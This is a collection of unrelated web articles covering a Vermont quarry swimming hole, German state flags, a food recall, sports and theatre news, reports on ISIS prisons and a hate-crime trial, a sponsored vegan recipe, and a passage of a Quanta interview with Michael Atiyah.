-Write ups in USA Today, The New York Times and several travel guides have made the Dorset Quarry one of the most popular swimming holes in Vermont. YouTube videos and Facebook posts have meant even more visitors. And while many think the historic quarry is a public park, it’s privately owned by a couple who says it might be time for more help in running the area.  On a recent Wednesday, weather forecasters were calling for temperatures in the 90s and the sunshine was blistering.  Kat Chenail and her friend Celia Bote, of Williamstown, Massachusetts both had the day off from work and wanted to go swimming. Friends had told them about the Dorset Quarry, so they drove up.  “It’s pretty great,” says Chenail. “I’ve been to a lot of swimming holes, and this is one of the only ones where there’s actually places to sit besides in the water.”  As swimming holes go, this one is spacious. It’s about 120 yards long and 30 yards across, with plenty of smooth rock terraces to lounge on and jump off.  “Yeah, we’re trying to get up the courage to jump off this one,” laughs Chenail.  She and Bote peer carefully over the edge of a wall that’s roughly 10 feet above the water.  “Then maybe we’ll get the courage to work our way over to that one,” Chenail says, pointing across the water to a much taller ledge that they say is twice as high. “It’s fun to watch people work up the courage to jump,” says Chenail, laughing.  On the other side of the quarry, a steady stream of thrill seekers jump and somersault off the high ledge. The sound of their splashes echo off the quarry walls.  Meanwhile, crowds of younger kids jump off lower ledges while parents relax nearby.  It took centuries to carve out all the rock walls. Marble from this site was used to build the New York Public Library, The Montreal Museum of Fine Arts and Harvard's medical school to name just a few of the buildings.  But by the start of World War I, many builders were opting for less costly concrete. So this quarry, like many others, shut down.  A spring and nearby stream filled the quarry with water, and by the 1920s it had become a popular swimming hole.  Dorset resident Art Gilbert was a frequent visitor in the 1930s. “On hot days like this we would take off from the house across the valley and we had the quarry pretty much to ourselves," Gilbert recalls. "I remember seeing the farmers come over for a dip after a hot day in the fields haying."  But those sleepy summer days are a thing of the past. Facebook posts, as well as YouTube and GoPro videos, are bringing larger and larger crowds.  Kirsten and Dick McDonough bought the quarry and the house next door in 1997 and say the increase in usage is stunning.  “Last summer we actually checked the parking lot once a day for six weeks," Kirsten McDonough says. "And in that time period we had 1,400 vehicles from 34 different states – plus three Canadian plates.”  Dick McDonough says when they bought the property it was overgrown and dangerous. “The first time I met the police there, the quarry was not visible from route 30 even though it as only about 15 or 20 feet back,” says McDonough. “So the police officer said to me, ‘We don’t go in there unless there are two of us.’ Shaking his head, McDonough recalls, “I thought to myself, 'Oh my God, what have I gotten myself into?'"  But the couple loved the history of the property. So instead of closing it down, they set to work clearing out the trees and brush, opening the quarry up and creating a grassy picnic area and parking lot. They hired excavators who moved stone blocks to create a low wall between the road and the water, and they picked up mountains of trash. All at their own expense.  “Thing is, it’s really a community resource,” says Kirsten McDonough. “And it’s just so beautiful, that it is kind of meant to be shared and people feel like they’re kind of entitled to be there because they’ve been swimming there for so long.”  The couple, who are both attorneys, say Vermont law has also played a crucial role in allowing them to keep the quarry open, by protecting them from liability.  But with more and more visitors, the McDonoughs say the trash, traffic and crowds are getting daunting. The site could use toilets and a changing area, and they say illegal parking is becoming more of a problem.  While no firm plans are in place, they say they’ve begun talks with state and local officials, as well as local volunteer organizations, to see what options there may be to get help running the historic swimming hole, to ensure it stays open for generations to come.
-The history of Germany is very rich not only in terms of different events, but also in their number and antiquity. Due to its history Germany has a very diverse reputation worldwide. However, it is difficult to deny certain cultural, technical, scientific and even sporting achievements of this country. As a result, it is not easy to characterize the entire country that is constantly changing in the course of its history. But one of its aspects we can characterize quite well. Today, this aspect will be the cultural and aesthetic component of the German states — their flags and coat of arms.  Germany is a federation which has thirteen states and three city-states which are equal in status and land rights. Let’s take a closer look at the flags and coat of arms of the major German states.  Symbols of Bavaria  Bavaria’s coat of arms was borrowed from the Counts of Bogen who lived before 1242; the coat of arms was later passed to the Wittelsbach family and then became a symbol of the whole Bavaria. On the shield of the modern coat of arms one can see four emblems, each of which represents one of the Bavarian territories: the Golden Lion — Palatinate, the “Franconian Rake” — Franconia, the Blue “Pantier” — Lower and Upper Bavaria, and the three black lions — Swabia. The coat of arms is held by two golden lions and in the center of the shield there is a small coat of arms of Bavaria in the traditional colors of this state.  Bavaria technically has two official flags which were adopted at the same time and are both used in the state. However, the lozenge-style flag is of course more memorable and unique than its bicolor brother.  As shown in the picture, the flag is used in the logo of the local football club Bayern Munich, and the same motifs were used in the club’s emblem almost since its inception. Another logo that is based on the flag and the coat of arms of Bavaria is the logo of BMW, a well-known car brand.  Symbols of Baden-Württemberg  The golden coat of arms of Baden-Württemberg was officially recognized in 1954. In addition to the three leopard lions, the crown is decorated with the lesser coat of arms of the state’s territories.  The flag of the state was adopted at the same time as the coat of arms, that is, after the union of the Baden, Württemberg-Baden and Württemberg-Hohenzollern regions. The colors of the flags respectively: yellow-red-yellow in Baden, black-red-yellow in Württemberg-Baden and black-red in Württemberg-Hohenzollern. The current flag of Baden-Württemberg originated from them.  A concept of the coat of arms of Württemberg is used in the logo of the VfB Stuttgart football club, namely: the antlers of black and yellow colors. Colors, antlers of Württemberg and the Stuttgart Steed are also used in the Porsche logo.  Symbols of Brandenburg  Brandenburg’s coat of arms was adopted only in 1990, but the red eagle on it is much older — this symbol is known from the X century. This symbol was passed to the Prussian province of Brandenburg and then to the current German state.  The red and white flag of Brandenburg has also been used since the days of the Free State of Prussia. A similar symbol is used on the Brandenburg Gate — the Prussian eagle.  Hesse Symbols  Hesse coat of arms was introduced in 1949. It is based on the historical coat of arms of Ludovingians, the Landgraves that ruled the Hesse and Thuringia lands and were known from the XI century. Therefore, it can be stated that the coat of arms of these territories have a fairly long history. One of the first mentions of the emblems can be found in the Ingeram Codex armorial (“Der Ingeram-Codex”) made in 1459. On the azure background of the shield a heraldic lion is depicted consisting of silver and red stripes. The “People’s crown” on the coat of arms is in the form of vine leaves.  The same red-white flag is used by Hesse. In general, the red and white color is a quite popular combination in Europe: starting from the historical regions of Spain and ending with the traditional colors of the Belarusian people. The adoption time of the flag corresponds with the adoption of the coat of arms.  Hesse-Cassel football club that plays in the fourth southwestern German league also uses the Hesse striped lion as its symbol. Also, there is a golden lion in the capital of Hesse — Wiesbaden.  Symbols of Mecklenburg — Western Pomerania  Coat of arms of Mecklenburg — Western Pomerania is composed of three different coat of arms of three smaller territories. First of all it is the impressive bull of Mecklenburg which already looks great on its own. However, symbols of Brandenburg and Pomerania have been added to the coat of arms — the red eagle and griffin respectively. The emblem was adopted in 1990, but the coat of arms of the presented smaller territories are older than the mentioned date.  Ultramarine-blue-red flag with a yellow stripe in the middle most likely originated from the mix of Mecklenburg and Pomerania flags. Flag of Pomerania, for example, was already used around 1882. The bull of Mecklenburg and Pomeranian griffin are sometimes added to the flag.  One of the most renowned clubs in Eastern Germany that plays in the third German Bundesliga — Hansa Rostock uses on its emblem an image of the Pomeranian griffin that is also used on the flag and the coat of arms of the Rostock city.  Symbols of Lower Saxony  The coat of arms of Lower Saxony since ancient times uses the “Saxon Steed”. A black horse on a yellow background was initially the coat of arms of Widukind, the last king of the Old Saxony. Also, this flag was the first known Saxon flag. But with the conversion to Christianity the colors of the coat of arms were changed. In its modern design the coat of arms was adopted in 1952.  The flag was adopted at about the same period as the coat of arms. The flag uses traditional for Germany colors. A thaler of the 1666 year found in Braunschweig proves the antiqueness of Saxon Steed.  Symbols of Rhineland-Palatinate  The coat of arms of Rhineland-Palatinate was created in 1947 during the formation of the land. It consists of three coat of arms: the red cross represents the Electorate of Trier, the Wheel of Mainz represents the Electorate of Mainz and the golden lion represents the County Palatinate of the Rhine.  Traditional German colors are used in the flag. The canton on the flag is the coat of arms of the state. The vertical banner can be seen on Rhineland-Palatinate buildings.  Symbols of the North Rhine-Westphalia  Coat of arms of the North Rhine-Westphalia was adopted in 1948. The coat of arms originates from the coat of arms of the Rhine Province on which a bend wavy is showed as well as a horse — the symbol of Westphalia. A heraldic rose of Lippe is present at the coat of arms. The Lippe family has roots since the X century whose house was named in honor of a river of the same name in Westphalia. Beatrix, the Queen of the Netherlands from 1980 to 2013, belongs to this house on her father’s side.  Red, white and green colors are official for this land. Green for the Rhineland — the southwest part of the North Rhine-Westphalia, red for Westphalia-Lippe — the northeastern part, respectively.  The flag of the North Rhine-Westphalia is used since 1948 and it was later formally adopted. The colors originate from the two older flags of the Rhine Province: green and white horizontal bicolor and the flag of Westphalia — white and red horizontal bicolor.  Symbols of Saarland  The coat of arms of Saarland consists of four separate coat of arms — a situation similar to other states. A silver lion with crosses — the Saarbrücken county, the red cross — the diocese of Trier, three silver alerions on a red bend — the duchy of Lorraine and a yellow lion — the Electorate of the Palatinate.  The flag of Saarland is based on the flag of Germany with the coat of arms of Saarland. A blue-white-black tricolor was also used and a flag with the Scandinavian cross and the colors of the French flag due to the fact that Saarland was under the protectorate of France.  Symbols of Saxony  The coat of arms of Saxony is used since 1700. It has black and yellow stripes and a band in form of a green crown. The coat of arms was previously used by the House of Ascania. The colors of the flag of Saxony were adopted in 1815, although even earlier mentions of the flag of this territory can be seen in the history of Saxony — in the Ascania and Wettin families. Nevertheless, today the official colors of the state are white and green.  Symbols of Saxony-Anhalt  The coat of arms of Saxony-Anhalt has similar features with Saxony. For example: black and yellow stripes and the green crown at the same angle. The bear was taken from the coat of arms of Anhalt.  The colors of the modern flag of Saxony-Anhalt originated from the historical flag of Saxony and are its reverse.  In order to be different from the Baden-Württemberg flag the colors were reversed. The flag was recognized in 1991.  Symbols of Thuringia  The coat of arms of the state is somewhat similar to that of Hesse. This is due to their common origin from a red-white striped lion of the Ludovingians family, which is known from the XI century. The coat of arms uses as many stripes as the Ludovingians use — eight. The lion is depicted on an azure shield.  Thuringia flag is very similar to the flag of Poland, though the red color is slightly different. The colors of the flag have been known since 1921 and the flag itself is a reverse of the flag of Hesse. There is also a statue of a lion in Thuringia.  Symbols of Schleswig-Holstein  We can observe two images on the two-sided coat of arms of Schleswig-Holstein. The first part of the shield (called “dexter”) displays two leopard lions; the Schleswig lions are taken from the coat of arms of Denmark. The right part of the shield (“sinister”) displays a nettle leaf of Holstein — an ancient symbol that was used by the Counts of Shauenburg and Holstein.  The flag of Schleswig-Holstein is mentioned in the movement for withdrawal of the land from Denmark. For the first time the flag of Schleswig-Holstein was introduced in 1843. It was also used during the existence of the eponymous province in Prussia. The coat of arms of the state is quite ancient, that may indicate a print of the 1392 year and a stone in Rahlstedt in which this coat of arms was forged.  Also, I advise you to get acquainted with this ancient painting of 1341:  Let’s now divide the flags of the states by their structure.  Horizontal Bicolors  There are six bicolor flags in this group. Three of them can be confused with the flag of Poland, Monaco or Indonesia.  Horizontal Tricolors  We’ll put an exactly the same number of flags in this group. The colors of the current flag of Germany that strongly resemble the flags of Lower Saxony, Saarland and Rhineland-Palatinate have been already in use in the Middle Ages. Later, these colors were used by the Jena student union and then the flag started to symbolize the struggle for freedom and the unification of the whole Germany; and so the black color began to symbolize a dark night, red — blood in the struggle and gold — the color of the Sun.  Other  The last group of German flags includes four remaining territories. Among them: the federal state of Bavaria and three city-states — Hamburg, Bremen and the capital of Germany — Berlin.  Thus, we derive a map of Germany based on the flag type.  It is also interesting to take a look at the map of colors used on these flags. Let’s segment the flags in terms of their major colors:  It is now possible to make a map of the most commonly used colors in certain parts of Germany:  Coat of Arms of Germany  We shall do the same thing with the coat of arms of the different German states, which are in turn an equally interesting symbol of every administrative unit of the country.
-Accessories are a vital part of our lives, making numerous activities easier. At Gotapparel.com we have a wide variety of blank accessories that can be easily customized, including aprons, bags, chairs, gloves, towels, robes, sandals, and socks made by popular name brands, like BagEdge, Port Authority, Gemline, UltraClub, Sport-Tek, Anvil, and more at low discounted prices that allow you to stock up on as many accessories as you might need for personal or professional uses.  Many of our accessories meet a wide variety of needs, such as our variety of bags, including tote bags, duffel bags, fashion bags, carrier bags, messenger bags, business bags, school backpacks, and cooler bags. Many of these bags can meet multiple needs from toting groceries, carrying picnic supplies, hauling baby items, transporting sports equipment, and holding school supplies. Other bags have distinct purposes, such as cooler bags, which keep food and drink cold and safe to consume. Other affordable accessories, such as portable chairs, can you comfortable while watching your favorite sports games. With our wide array of affordable accessories, you’re sure to find all kinds of things to help keep numerous parts of your life organized and easier to deal with so that you can enjoy your activities. Set up matching outfits with other blank apparel such as t-shirts sweatshirts , and athletic wear
-Theater streaming service BroadwayHD will livestream Roundabout Theatre Company's production of Holiday Inn, The New Irving Berlin Musical on Saturday, January 14, 2017, at 8pm EST. The musical, directed by Gordon Greenberg and choreographed by Denis Jones, will be captured live on 14 high-definition cameras the evening before it plays its final performance. The show opened October 6 at Studio 54.  Holiday Inn stars Tony Award nominee Bryce Pinkham (A Gentleman's Guide to Love and Murder) as Jim, Lora Lee Gayer (Follies) as Linda, Tony Award nominee Megan Lawrence (The Pajama Game) as Louise, Corbin Bleu (In the Heights) as Ted, Megan Sikora (Curtains) as Lila Dixon, and Danny Rutigliano (Banana Shpeel) as Danny.  Malik Akil, Will Burton, Barry Busby, Darien Crago, Caley Crawford, Jenifer Foote, Morgan Gao, Matt Meigs, Shina Ann Morris, Catherine Ricafort, Drew Redington, Amanda Rose, Jonalyn Saxer, Parker Slaybaugh, Samantha Sturm, Amy Van Norstrand, Travis Ward-Osborne, Paige Williams, Victor Wisehart, Kevin Worley, and Borris York are featured in the ensemble.  With music and lyrics by Irving Berlin, Gordon Greenberg and Chad Hodge's new book is inspired by the Academy Award-winning film Holiday Inn. The creative team includes Anna Louizos (sets), Alejo Vietti (costumes), Jeff Croiter (lights), Keith Caggiano (sound), Charles G. La Pointe (wigs), Joe Dulude II (make-up), Andy Einhorn (music director/ supervisor), Larry Blank (orchestrations), Sam Davis (vocal and dance Arrangements), Bruce Pomahac (additional dance and vocal arrangements), and John Miller (music coordinator).  For tickets and more information, click here.
-Milwaukee Aprilia pulled the wraps off their 2017 WorldSBK RSV-4s at the beginning of Jerez testing yesterday, then it was time to get down to business for Eugene Laverty who found that the braking prpoblems he encountered in the last Spanish test are still there.  The Monegasque says the RSV feels like it’s pushing the front which makes it difficult to turn in, so today the Anglo/Italian crew will work with Ohlins to try and find some solutions.  “There were quite a few changes compared to when I rode it in November. It took a bit of time to get dialed in. It was a positive end to the day. I would say we are back to where we were at the last test. We’ve arrived at the same problem and we’re struggling to get the bike stopped and turned. It feels like it’s pushing the front a lot so that’s a direction we need to improve on,” Laverty said at the track.  “The problem is in the last part and getting the bike stopped and turned. I’m really struggling in that area. That’s just chassis-wise, geometry that we’ll have to work on, the electronics are working well. There’s a lot of different ways to approach it but it’s pretty clear what we need to do – to get some weight off the front to help with my riding style.”  Laverty ended day one nearly two seconds off the pace and a quarter of a second behind team-mate Lorenzo Savadori but it’s early days for the squad and with the Jerez outing to finish, plus another three days at Phillip Island, Milwaukee should get their ducks in a line.  “In the dry we’re still not there. At the last test we only had one dry day so we need track time . We need to really work hard tonight and tomorrow to chase down those guys at the front. We need to be within a second. For testing you can’t be content with being two seconds off.”
-Thousands of types of processed foods -- including many varieties of soups, chips, frozen dinners, hot dogs and salad dressings -- may pose a health threat because they contain a flavor enhancer that could be contaminated with salmonella, the Food and Drug Administration said Thursday.  Officials believe the public health risk is low, and no one is known to have fallen ill as a result of the contamination. But manufacturers voluntarily recalled 56 products Thursday, and that number is expected to balloon in the coming weeks into what could be one of the largest food recalls in U.S. history.  "We don't know precisely how large this recall will get," said Jeff Farrar, associate commissioner for food protection at the FDA. "The potential amount of products . . . is very large."  Salmonella was detected early last month in one lot of the flavor enhancer -- hydrolyzed vegetable protein, or HVP -- made by Basic Food Flavors, as well as inside the company's Nevada manufacturing facility, the FDA said. The company, one of only a handful that make HVP, has an extensive customer list. The additive, which comes as a powder or a paste and is mixed into foods to give them a meaty or savory flavor, is similar to monosodium glutamate, or MSG.  The contamination is believed to date to September 2009, meaning millions of pounds of potentially tainted HVP -- all of which the company has recalled -- was shipped in bulk to foodmakers over five months. Many of those companies then sold their products to other clients, complicating the chain and making it hard for federal officials to gauge the scope of the problem.  "This can potentially be in over 10,000 products," said Michael Hansen, senior scientist at Consumers Union.  The FDA has posted on its Web site a searchable list of products being recalled by manufacturers. It can be found at http:/ / www.accessdata.fda.gov/ scripts/ HVPCP/ .  Federal officials said the public health threat is low because most products containing HVP are cooked during processing or carry cooking instructions for consumers, so any salmonella would be destroyed before the food was eaten. Ready-to-eat products, such as chips and other snack foods, would carry greater risks.  In recent days, FDA officials have told foodmakers that their products do not need to be recalled if they can document that foods containing HVP were heated to appropriate temperatures.  Because of the number of products involved and the uncertainty of the risk, officials have been struggling to find the balance between protection and alarm.  "They're trying to come to some reasonable decision about how to protect the public health but not be so cautious as to be ridiculous and throw out tons and tons of product that may be fine," said Don Schaffner, a professor of microbiology professor and food-safety expert at Rutgers University, who has been advising several foodmakers that bought HVP from Basic Food Flavors.  FDA officials declined to say Thursday when they or state health officials last inspected the Nevada plant, or whether the company had a history of sanitation problems. The FDA was still attempting to determine what caused the contamination.  The company did not return calls seeking comment.  The salmonella bacterium is usually found in animal or human feces. Most healthy people infected with salmonella recover without treatment but experience fever, diarrhea, nausea, vomiting and abdominal pain. Salmonella infections can cause serious problems and even death in the young, the elderly and those with compromised immune systems.  The agency learned about the problem after a foodmaker found the bacterium in a shipment of HVP and reported it under a new law that requires companies to notify the federal government if they detect contamination in a product or ingredient. Before September, the food industry was not required to alert the government to contamination.  "The FDA identified this before any major outbreak [of illness], and I think that is very good news," FDA Commissioner Margaret A. Hamburg said.  Joshua Sharfstein, deputy commissioner of the FDA, said the outbreak underlines the need for the Senate to pass a food-safety bill that has stalled since the House approved it last year. The bill would require companies such as Basic Food Flavors to take actions aimed at preventing contamination in the first place.  "We want to be able to set up preventive standards, so we don't have situations like this at all," Sharfstein said.
-Former Juventus winger Pavel Nedved says he would like to see Gianluigi Buffon playing on until he is 50, because he still has the enthusiasm of a teenager.  Buffon, 38, has announced his intention to retire at least from international football following the 2018 World Cup, although he may continue to play for Juventus beyond then.  According to Nedved, who is now a director of the Serie A club, there is no reason why the Italy number one cannot carry on playing -- even for another decade.  "When I see the passion with which Gigi Buffon trains, I would like to see him stay in our goal until he is 50," Nedved told idnes.cz.  "When he came back from Euro 2016, he told me he'd like to play on at least until the end of Russia 2018.  "He's always the first to arrive for training. He's honest and perfect."  Nedved played with Buffon in a Bianconeri shirt, but not in the 2003 Champions League final, which together with 2015, was the closest the Italian goalkeeper came to winning European club football's biggest prize.  "I missed that game because I picked up too many bookings," Nedved said. "That is the biggest disappointment of my career. It could have been my biggest success, but instead..."  The former Czech Republic midfielder said if he had one other regret, it was about a club he did not play for.  "I would have to say it would have been Manchester United," he added.  Ben Gladwell reports on Serie A, the Italian national team and the Bundesliga for ESPN FC, UEFA and the Press Association. @UEFAcomBenG.
-Syrian rebels have discovered disturbing rooms in Iraq and Syria (ISIS) territory that suggest they have been used as torture cells specifically to rape their female hostages.  "We discovered an Islamic State group prison for women, with rooms for groups as well as solitary prisoners," Ibrahim al-Mohammed told a local news agency last Thursday.  "We found the worst, most violent torture tools, and may God curse them."  The supposed ISIS prison for women was located in the Syrian city of Manbij after it was recaptured by the Manbij Military Council, a faction of the U.S.-backed Kurdish-led Syrian Democratic Forces.  In one of the rooms, the words (in Arabic) "God, I have wronged myself, and no one forgives sins but you. Forgive me, you are forgiving and merciful," were written on the wall.  According to God Reports, the message appears to have been written by a Christian woman. The woman apparently wrote the faithful message in response to being detained by ISIS and possibly being used as a sex slave.  In an amateur video taken at the facility, the cells have been shown to have metal doors and mattresses, pillows and blankets inside. In addition, sexual stimulants, contraceptives and narcotics were also found inside the prison cells.  "We found various kinds of pills, including sexual stimulation, contraceptives and narcotic pills which were used by the Islamic State group for torture," rebel leader Omar Mazerli said.  "They have very strange ways. This place was very hard to find and it is well hidden, but we got here with God's will and the efforts of the Military Council."  ISIS torture cells have been discovered in other areas around Manbij. It is highly possible that more cells of this kind will be discovered as more.
-Frazier Glenn Miller, who claimed it was his ‘patriotic duty’ to kill Jews, deemed fit for trial near Kansas City  A Kansas prosecutor will seek the death penalty against a white supremacist from Missouri who was ruled competent Thursday to face trial on charges of killing three people at two Jewish sites in suburban Kansas City.  Johnson County District Attorney Steve Howe announced his intention to seek the death penalty at a hearing for Frazier Glenn Miller, 74, of Aurora, Missouri, who has said he felt it was his patriotic duty to kill Jews.  Miller is accused of killing Dr. William Lewis Corporon, 69, and his 14-year-old grandson, Reat Griffin Underwood, who were at the Jewish Community Center of Greater Kansas City on April 13 for a singing contest audition. He also is accused of fatally shooting 53-year-old Terri LaManno, who was visiting her mother at a Jewish retirement home in nearby Overland Park.  None of the victims was Jewish.  Miller, who has emphysema, was brought into the Johnson County courtroom Thursday in a wheelchair. After Judge Thomas Kelly Ryan scheduled a three-day preliminary hearing in March, Miller protested, shouting, “What about my speedy trial?”  After Howe announced his intention to seek the death penalty, Miller responded that he wasn’t afraid because he is dying anyway. He offered to “grease the tracks” for prosecutors if they cooperated with him, but Ryan cut him off and said he needed to communicate through his attorneys.  Howe and Miller’s attorneys declined to comment after the hearing. Miller has told the AP he wants to fire one of the attorneys, keep the other as an adviser and represent himself at trial.  Mindy Corporon, William Corporon’s daughter and Reat Underwood’s mother, issued a statement after Thursday’s hearing saying the family respects the judicial process and has faith “that justice will prevail”.  Ryan had ordered Miller last month to undergo a competency hearing after his attorneys expressed concerns about his ability to assist with some aspects of his defense. Miller responded angrily that the delays were meant to help the prosecutor get re-elected.  Miller said he became concerned during an emergency room visit in late March that he didn’t have much time left to live. In several phone calls to the Associated Press, Miller said he killed the three because he thought he was dying and he felt it was his duty. He said he regretted shooting the teenager.  He has told the AP and other media outlets that he planned and executed the fatal attacks, and that it was his intent to use the trial as a means to “put the Jews on trial where they belong”.  Miller, also known as Frazier Glenn Cross, is a Vietnam War veteran from southwest Missouri who founded the Carolina Knights of the Ku Klux Klan in his native North Carolina and later the White Patriot Party.  He was the target of a nationwide manhunt in 1987, when federal agents tracked him and three other men to a rural Missouri home stocked with hand grenades and automatic weapons. He was indicted on weapons charges and accused of plotting robberies and the assassination of the Southern Poverty Law Center’s founder. He served three years in federal prison.  Miller also ran for the US House of Representatives in 2006 and the Senate in 2010 in Missouri, each time espousing a white-power platform.
-RAIPUR: As many as 110 gram panchayats in Chhattisgarh were today declared open defecation-free (ODF) under the Centre's ' Swachh Bharat Abhiyan ', taking the total number of such villages in the state to 1,849.Union Panchayat and Rural Development Minister Chowdhary Birender Singh declared 110 village panchayats as ODF while felicitating at the concluding function of the 'National Rural Drinking Water and Swachhta Awareness Week' at the state capital here today."Chief Minister Raman Singh has fulfilled the dreams of Prime Minister Narendra Modi in making the 'Swachhta Abhiyan' a people's movement and now Chhattisgarh had joined the top states in the country in this line," Singh said appreciating the efforts of the state government in making 'Clean India Mission' a "success".The Union Minister added that Centre will allocate a sum of Rs 2 lakh crore to each gram panchayats over the next five years for various development activities."About Rs 45,000 crore have already been transferred to the panchayats for this year. If the gram panchayat completes its four to five major development works based on the priority, then it can change the entire scenario of the village, he said.Meanwhile, Singh also felicitated 24 'Swachchta Preraks' from various districts of the state with appreciation certificates.Speaking on the occasion, Chief Minister Raman Singh said that Chhattisgarh will be 'open defecation free' by 2018 with the co-operation of the masses."'Swachh Bharat Abhiyan' should be owned by the people. The mission can meet its targets if sisters (women) are determined to do so," the Chief Minister said.He called upon the 'Nav Ratnas' (nine eminent personalities from varied fields who are making a significant contribution to the campaign in Chhattisgarh) to inspire more and more villages to become ODF.Stressing on the need to conserve water in the present scenario, Raman Singh said if villagers are able to preserve even ten per cent of rain water, then it can meet the needs of an entire year.
-This shop has been compensated by Collective Bias, Inc. and its advertiser. All opinions are mine alone. #DairyFree4All #CollectiveBias  This Frozen Pumpkin Pie was created using the So Delicious Dairy Free® brand Coconut Vanilla Bean and Cashew Salted Caramel Cluster Frozen Dessert (my personal addiction). If you’ve followed me for awhile now, you already know my love for this company. I’m a huge fan of the entire range of products they offer.  Our So Delicious Frozen Pumpkin Pie begins with a layer of gingerbread crust followed by the Coconut Vanilla Bean turned pumpkin (more on that in a minute) and finally, in its pure form, the Cashew Salted Caramel Cluster. As if it wasn’t already decadent enough, I topped each slice with a drizzle of vegan caramel sauce, chocolate sauce and sweetened cacao nibs. The perfect vegan dessert! Are you drooling yet? 🙂  The first step in creating this mouth-watering dessert is to prepare the gingerbread crust. Many brands of gingerbread cookies are “accidentally” vegan meaning they don’t generally contain eggs or milk products. Just check the label before you buy. I crush the cookies in a food processor, add brown sugar, a small amount of all-purpose flour, a pinch of salt and to hold it all together, melted vegan margarine. You could also use coconut oil here. Press the mixture into a pie plate and bake for about 10 minutes. Remove to a wire rack to cool completely. (You could also opt to purchase a pre-made graham cracker crust if you prefer).  Meanwhile, it’s time to turn that Coconut Vanilla Bean into pumpkin! It is as simple as softening the Coconut Vanilla Bean until you can manipulate it easily with a spoon. We’ll add pure pumpkin puree and pumpkin pie spice. Combine well and return to the freezer for at least 30 minutes. If you don’t have pumpkin pie spice on hand, don’t worry…I’ve got you covered! Just click here for a recipe using ingredients you likely already have in your cupboard.  Now you’ll want to prepare a vegan caramel sauce if making a homemade version (plenty of recipes on the Web) and soften the Cashew Caramel Cluster. I’ll also get the pumpkin frozen dessert softening at this time. You want them spreadable and soft, but not melted.  Once you complete the layers, put back into the freezer for at least an hour to firm up and then it’s ready to slice! Run a sharp knife under very hot water and wipe clean in between slicing. This makes your job A LOT simpler.  The final step is to garnish. You can use chocolate syrup, caramel sauce (or both) and a few sweetened cacao nibs as we did here today if you want to get fancy 🙂  I found the So Delicious Dairy Free® Frozen Desserts in the frozen dessert aisle at my local Scottsdale, AZ Walmart. Some of these flavors are available at specialty grocers, but how great is it that these vegan treats are now becoming so easily accessible in a store as mainstream as Walmart? Yay. Progress!  Taste is, of course, the main reason I love the SO Delicious Dairy Free® brand, but did you know that not only are they completely vegan, but also Non-GMO Project Verified. They are cholesterol-free, contain no artificial colors, flavors or preservatives, no high-fructose corn syrup and are certified kosher. Definitely products you can feel good about eating.  To learn more about SO Delicious Dairy Free®, please visit their website or any of their social media pages: … Instagram, Facebook or Twitter.  What will you create with So Delicious Dairy Free® Frozen Desserts? Let me know in the comments below and if you make this frozen pie, tag me on Instagram @theveglife1. I love seeing what you come up with! 🙂  Before you go, why not check out some of our recent videos and be sure to subscribe to the YouTube Channel! 🙂
-Despite Michael Atiyah’s many accolades — he is a winner of both the Fields and the Abel prizes for mathematics; a past president of the Royal Society of London, the oldest scientific society in the world (and a past president of the Royal Society of Edinburgh); a former master of Trinity College, Cambridge; a knight and a member of the royal Order of Merit; and essentially Britain’s mathematical pope — he is nonetheless perhaps most aptly described as a matchmaker. He has an intuition for arranging just the right intellectual liaisons, oftentimes involving himself and his own ideas, and over the course of his half-century-plus career he has bridged the gap between apparently disparate ideas within the field of mathematics, and between mathematics and physics.  One day in the spring of 2013, for instance, as he sat in the Queen’s Gallery at Buckingham Palace awaiting the annual Order of Merit luncheon with Elizabeth II, Sir Michael made a match for his lifelong friend and colleague, Sir Roger Penrose, the great mathematical physicist.  Penrose had been trying to develop his “twistor” theory, a path toward quantum gravity that’s been in the works for nearly 50 years. “I had a way of doing it which meant going out to infinity,” Penrose said, “and trying to solve a problem out there, and then coming back again.” He thought there must be a simpler way. And right then and there Atiyah put his finger on it, suggesting Penrose make use of a type of “noncommutative algebra.”  “I thought, ‘Oh, my God,’” Penrose said. “Because I knew there was this noncommutative algebra which had been sitting there all this time in twistor theory. But I hadn’t thought of using it in this particular way. Some people might have just said, ‘That won’t work.’ But Michael could immediately see that there was a way in which you could make it work, and exactly the right thing to do.” Given the venue where Atiyah made the suggestion, Penrose dubbed his improved idea “palatial twistor theory.”  This is the power of Atiyah. Roughly speaking, he has spent the first half of his career connecting mathematics to mathematics, and the second half connecting mathematics to physics.  Atiyah is best known for the “index theorem,” devised in 1963 with Isadore Singer of the Massachusetts Institute of Technology (and properly called the Atiyah-Singer index theorem), connecting analysis and topology — a fundamental connection that proved to be important in both mathematical fields, and later in physics as well. Largely for this work, Atiyah won the Fields Medal in 1966 and the Abel Prize in 2004 (with Singer).  In the 1980s, methods gleaned from the index theorem unexpectedly played a role in the development of string theory — an attempt to reconcile the large-scale realm of general relativity and gravity with the small-scale realm of quantum mechanics — particularly with the work of Edward Witten, a string theorist at the Institute for Advanced Study in Princeton, N.J. Witten and Atiyah began an extended collaboration, and in 1990 Witten won the Fields Medal, the only physicist ever to win the prize, with Atiyah as his champion.  Now, at age 86, Atiyah is hardly lowering the bar. He’s still tackling the big questions, still trying to orchestrate a union between the quantum and the gravitational forces. On this front, the ideas are arriving fast and furious, but as Atiyah himself describes, they are as yet intuitive, imaginative, vague and clumsy commodities.  Still, he is relishing this state of free-flowing creativity, energized by his packed schedule. In hot pursuit of these current lines of investigation and contemplation, last December he delivered a double-header of lectures, back-to-back on the same day, at the University of Edinburgh, where he has been an honorary professor since 1997. He is keen to share his new ideas and, he hopes, attract supporters. To that end, in November he hosted a conference at the Royal Society of Edinburgh on “The Science of Beauty.” Quanta Magazine sat down with Atiyah at the Royal Society gathering and afterward, whenever he slowed down long enough to take questions. What follows is an edited version of those catch-as-catch-can conversations.  QUANTA MAGAZINE: Where do you trace the beginnings of your interest in beauty and science?  MICHAEL ATIYAH: I was born 86 years ago. That’s when my interest started. I was conceived in Florence. My parents were going to name me Michelangelo, but someone said, “That’s a big name for a small boy.” It would have been a disaster. I can’t draw. I have no talent at all.  You mentioned that something “clicked” during Roger Penrose’s lecture on “The Role of Art in Mathematics” and that you now have an idea for a collaborative paper. What is this clicking, the process or the state — can you describe it?  It’s the kind of thing that once you’ve seen it, the truth or veracity, it just stares you in the face. The truth is looking back at you. You don’t have to look for it. It’s shining on the page.  Is that generally how your ideas arrive?  This was a spectacular version. The crazy part of mathematics is when an idea appears in your head. Usually when you’re asleep, because that’s when you have the fewest inhibitions. The idea floats in from heaven knows where. It floats around in the sky; you look at it, and admire its colors. It’s just there. And then at some stage, when you try to freeze it, put it into a solid frame, or make it face reality, then it vanishes, it’s gone. But it’s been replaced by a structure, capturing certain 